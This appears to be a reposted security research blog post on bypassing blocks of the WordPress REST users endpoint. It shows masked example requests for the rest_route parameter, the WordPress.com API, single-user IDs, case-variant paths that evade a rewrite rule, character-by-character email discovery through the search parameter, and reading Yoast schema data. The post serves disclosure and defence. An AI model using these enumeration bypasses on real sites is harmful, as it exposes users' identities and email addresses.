install a security plugin which disables the specific route or block specific request paths.
After evaluating hundreds of websites, we can say that rare are the sites that have totally blocked the feature.
1. HTTP parameter “rest_route”
The first bypass we are presenting is abusing an alternative path to reach the same endpoint. While Worpdress is configured – by default – to support URL rewriting to have search engine and human friendly URLs like https://website.com/2020/12/breaking-news
instead of https://website.com/?p=2678
, behind the scene, every request sent to /wp-json/ is entering the index page with the parameter “rest_route” set to /wp/v2/users.
https://****.com/blog/wp-json/wp/v2/users | BLOCKED |
https://****.com/blog/?rest_route=/wp/v2/users | OK |
2. WordPress.com API
https://blog.*******.com/wp-json/wp/v2/users | BLOCKED |
https://public-api.wordpress.com/rest/v1.1/sites/blog.*******.com/posts | OK |
3. One by one
add_filter( 'rest_endpoints', function( $endpoints ){
if ( isset( $endpoints['/wp/v2/users'] ) ) {
unset( $endpoints['/wp/v2/users'] );
} return $endpoints;
});
In the table below, we can see that one host was refusing to serve the complete list of users. However, we realize that targeting a specific user was not being blocked.
https://www.*****.org/wp-json/wp/v2/users | BLOCKED |
https://www.*****.org/wp-json/wp/v2/users/1 | OK |
4. Case sensitivity
foreach ( $routes as $route => $handlers ) {
$match = preg_match( '@^' . $route . '$@i', $path, $matches );
if ( ! $match ) {
continue;
}
$args = array();
Source: class-wp-rest-server.php
RewriteCond %{QUERY_STRING} \bwp/v2/users\b [NC]
RewriteRule ^ - [F]
RewriteCond %{QUERY_STRING} \bwp/v2/users\b
https://blog.*****.com/section/news?rest_route=/wp/v2/users | BLOCKED |
https://blog.*****.com/section/news?rest_route=/wp/v2/usErs | OK |
5. Search
On few occasions we encounter APIs that are not explicitly blocked but the /wp/v2/users endpoint is not returning the avatar_urls properties. This is the effect of a third-party security plugin or disabling manually the avatars (Settings > Discussion > Avatars).
Setting that will hide avatars both in web pages and REST response |
We did find a workaround for those as well. The endpoint supports the parameter “search”. Its value is match against all user’s fields including the email address. With simple automation it is possible to discover each email address. The user information associated to an email matched will be returned in the JSON response. From experience, we can estimate that between 200 and 400 requests will be required to reveal one email address.
https://api.*****.com/wp-json/wp/v2/users | BLOCKED |
https://api.*****.com/wp-json/wp/v2/users?search=r@initech.com https://api.*****.com/wp-json/wp/v2/users?search=er@initech.com https://api.*****.com/wp-json/wp/v2/users?search=ter@initech.com https://api.*****.com/wp-json/wp/v2/users?search=eter@initech.com https://api.*****.com/wp-json/wp/v2/users?search=peter@initech.com |
OK |
6. Yoast SEO
<script type='application/ld+json' class='yoast-schema-graph yoast-schema-graph--main'>{"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https:// ***** /#website","url":"https://www.******.com/","name":"*****",
[...]
},
{
"@type":["Person"],
"@id":"https://www.****.com/#/schema/person/7367999b66**********",
"name":"Fred",
"image":{
"@type":"ImageObject",
"@id":"https://www.******.com/#authorlogo",
"url":"https://secure.gravatar.com/avatar/de04459893a29***********?s=96&d=mm&r=g",
"caption":"****"
},
"sameAs":[]
}]
</script>
Conclusion
This blog was originally posted on GoSecure blog.
No comments:
Post a Comment